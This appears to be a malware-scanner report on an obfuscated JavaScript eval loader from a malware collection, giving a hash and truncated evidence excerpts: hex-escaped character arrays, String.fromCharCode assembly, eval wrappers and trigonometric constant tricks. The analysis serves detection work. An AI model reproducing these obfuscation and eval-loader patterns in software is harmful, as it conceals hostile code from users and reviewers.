Suspicious ^80% javascript-malware-collection Download

20151215_8d568934d589ad524ed6b53ddc5ad24e.js

Obfuscated eval loader

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-2564ee6029ea8a198eb02ff0e364ca70a57ec46d56e2004252325545bd06ae3f5a2

Evidence

Single-line packed JavaScript loader profile lines 1–2

1var k=new Array();
2d(k,"\x68");d(k,"\x72");d(k,"\x35");d(k,"\x40");d(k,"\x79");d(k,"\x3a");d(k,"\x2a");d(k,"\x2b");d(k,"\x56");d(k,"\x50");d(k,"\x66");d(k,"\x72");d(k,"\x56");d(k,"\x37");d(k,"\x64");d(k,"\x7a");d(k,"\x23");d(k,"\x54");d(k,"\x45");d(k,"\x70");d(k,"\x76");d(k,"\x4c");d(k,"\x50");d(k,"\x6f");d(k,"\x2d");d(k,"\x55");d(k,"\x25");d(k,"\x6b");d(k,"\x2d");d(k,"\x3b");d(k,"\x59");d(k,"\x4a");d(k,"\x26");d(k,"\x25");d(k,"\x59");d(k,"\x3c");d(k,"\x50");d(k,"\x67");d(k,"\x41");d(k,"\x7a");d(k,"\x46");d(k,"\x49");d(k,"\x2e");d(k,"\x23");d(k,"\x79");d(k,"\x2f");d(k,"\x44");d(k,"\x3c");d(k,"\x3c");d(k,"\x4e");d(k,"\x2d");d(k,"\x48");d(k,"\x20");d(k, …

0x3f hex byte token line 3

3:4… punNL=[0x2,0x5,0xb,0x12,0x15,0x1b,0x20,0x23,0x28,0x2f,0x35,0x39,0x3f,0x44,0x46,0x4d,0x50,0x55,0x5d,0x63,0x68,0x6c,0x6f,0x76,0x7c,0x80,0x82,0x87,0x90,0x92,0x99,0x9d,0xa3,0xa6,0xab,0xb3,0xb4,0xbc,0xc1,0xc7,0xca,0xd1,0xd4,0xda,0xdc,0xe1,0xe8,0xed,0xf0,0xf6,0xfe,0xff,0x106,0x10d,0x112,0x117,0x119,0x11e,0x125,0x12a,0x12e,0x133,0x136,0x13c,0x144,0x146,0x14b,0x14f,0x154,0x15c,0x15e,0x167,0x16c,0 …

Builds characters with String.fromCharCode line 4

4:254… 42],k[43],k[44],k[45],k[46],k[47],k[48],k[49],k[50],k[51],k[52],String.fromCharCode(10),k[53],k[54],k[55],k[56],k[57],k[58],k[59],k[60],k[61],k[62],k[63],k[64],k[65],k[66],String.fromCharCode(13),k[67],k[68],k[6 …

Calls JavaScript toString conversion method lines 6–8

6:35… hDyAtA,AHkzGyan){EIjK=parseInt(IgpVbkUtQdv,wKBMQiGhDyAtA);hRTff=EIjK.toString(AHkzGyan);return hRTff;}function qVhFuqrKiboxoQT(srzPrxyaSRwDgrSSF,RYBMWyEZJVGDFxWdQIDwuRNuHUEvMgzCox,VREIfLPXOHeRHLyTagOdIVjAyZAMPzyBZlA){eval(srzPrxyaSRwDgrSSF)}
7function qVhFuqrKiboxoQT(srzPrxyaSRwDgrSSF){eval(srzPrxyaSRwDgrSSF)}
8function aQXDHjZUfOTStGFVadtxxsmriLBahCmbjmkPOneNQpHiE …

Numeric sine-square obfuscation expression lines 13–15

13:13… ,C];
14var NYJYlrour=[];
15function YknWlnzOwdzArVSmt(cGaqa){MPEvIZBMPnF= k[1831];for(ODfdbPlyiVJ=Math.round((Math.pow(Math.sin(283), 2) + Math.pow(Math.cos(283), 2) - 1)); ODfdbPlyiVJ < (-668+974)/153; ODfdbPlyiVJ++) {NYJYlrour[ODfdbPlyiVJ]=Math.round((Math.pow(Math.sin(687), 2) + Math.pow(Math.cos(687), 2) - 1)); while(true) { if(NYJYlrour[ODfdbPlyiVJ] > cGaqa[ODfdbPlyiVJ].length-(442+197)/639) { break; } if (bvFEzfs(hqqRJ(cGaqa[ODfdbPlyiVJ][NYJYlrour[ODfdbPlyiVJ]],(27467+3 …